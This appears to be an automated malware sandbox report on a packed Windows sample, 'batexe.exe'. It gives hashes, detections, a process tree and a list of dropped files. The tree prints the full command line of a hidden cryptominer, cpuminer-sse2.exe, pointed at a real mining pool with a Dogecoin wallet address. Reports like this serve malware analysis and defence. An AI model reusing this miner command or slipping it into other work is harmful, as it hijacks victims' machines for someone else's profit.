73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
304s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
22/02/2024, 08:17

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4604	b2e.exe
2040	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2040	cpuminer-sse2.exe
2040	cpuminer-sse2.exe
2040	cpuminer-sse2.exe
2040	cpuminer-sse2.exe
2040	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2012-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2012 wrote to memory of 4604	2012	batexe.exe	73
PID 2012 wrote to memory of 4604	2012	batexe.exe	73
PID 2012 wrote to memory of 4604	2012	batexe.exe	73
PID 4604 wrote to memory of 2904	4604	b2e.exe	74
PID 4604 wrote to memory of 2904	4604	b2e.exe	74
PID 4604 wrote to memory of 2904	4604	b2e.exe	74
PID 2904 wrote to memory of 2040	2904	cmd.exe	77
PID 2904 wrote to memory of 2040	2904	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2012
- C:\Users\Admin\AppData\Local\Temp\E109.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\E109.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\E109.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4604
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\E5DC.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2904
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\E109.tmp\b2e.exe

Filesize
12.4MB

MD5
fffda5a2c6d26012b64343ef1cf02e3f

SHA1
f6fdd8b5a7aa0b40aee96df80821c8543687732f

SHA256
f681407e90124d79567d93749ef6747db8f12d0e207538a805f000f49fffd68b

SHA512
d6b6730ec6b3f452aafd614b01e142db69a755d9e009d346c1dfa558d58edaae963fc1ff88a1545b9367a53a0720c2c41bf252882c900901f306b56fc01aed28

Download Submit
C:\Users\Admin\AppData\Local\Temp\E109.tmp\b2e.exe

Filesize
10.6MB

MD5
44eab466edbc24ec981c2467aa839f76

SHA1
d45ad8bf34cc2cc15611f7dbc6400834bb2f3889

SHA256
77390f59c42b630efc1dacd4f3f795bcb2a5b8ba9399271bc5b5c5e7f84de97e

SHA512
01dac1fc6f671527058861780c1713972c864652a4d0e90ba575a0fe7d249c617ffd44c23095da183d1210bb60eb34a07b94c28b04d697fc8eb46307051dee2f

Download Submit
C:\Users\Admin\AppData\Local\Temp\E5DC.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.1MB

MD5
a88372048aeb5e969e69f038273687b6

SHA1
7e836ade8c773d1589ac61962de7befbd2ada0af

SHA256
355ef2688cc32d5fc38f7d514c5290b1d5609b64f3e93bf7f1d0dc43987a2bd9

SHA512
5d2ba10b4afc505a5e091b468fabdf740d6e171abf688e2e933a2f70ceb6e7261f2cba0580f8f0e76bf4972e001fa90c03f4c3f31363c46e58a1e9ff2af8c9eb

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.7MB

MD5
6b49fd9aa0f827156f401478014b03a7

SHA1
c894a5b220e23926b19a2775f8e5d513705eaa8e

SHA256
481b9583d4d0f8ec5c92dc79bbdcf8ccc626d676843fb7269bf1fd9f8815c1a6

SHA512
37a58f47b733b33a98e1f545f0995ef50c53b22470361ea1eefe8219ccdbf9bcbacbb3ffd7feb711d0aaa71f8ac6cc5ef1ec209bc617d6722540a3025b10237d

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.8MB

MD5
d4018d2f0fe508982bf991fc1dfe22f2

SHA1
8dde4e7f95906dc9c69a3d0692c795a9ebdad29c

SHA256
4d6a40631d57d2c8993db9571fcbc92628cc67c096e34cbee213f2ffbd365b60

SHA512
2d669ac25bfa83b8574c02b29202aeb87ae395ac91f8c37769506b555c15ba715fa48480228ddc61ce6c29e66cea9324e0fc357fa536ea39d00d123d194d203f

Download Submit
memory/2012-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2040-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2040-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2040-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2040-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2040-43-0x0000000067490000-0x0000000067528000-memory.dmp

Filesize
608KB

Download
memory/2040-44-0x0000000001080000-0x0000000002935000-memory.dmp

Filesize
24.7MB

Download
memory/2040-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2040-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2040-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2040-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2040-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2040-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4604-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4604-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download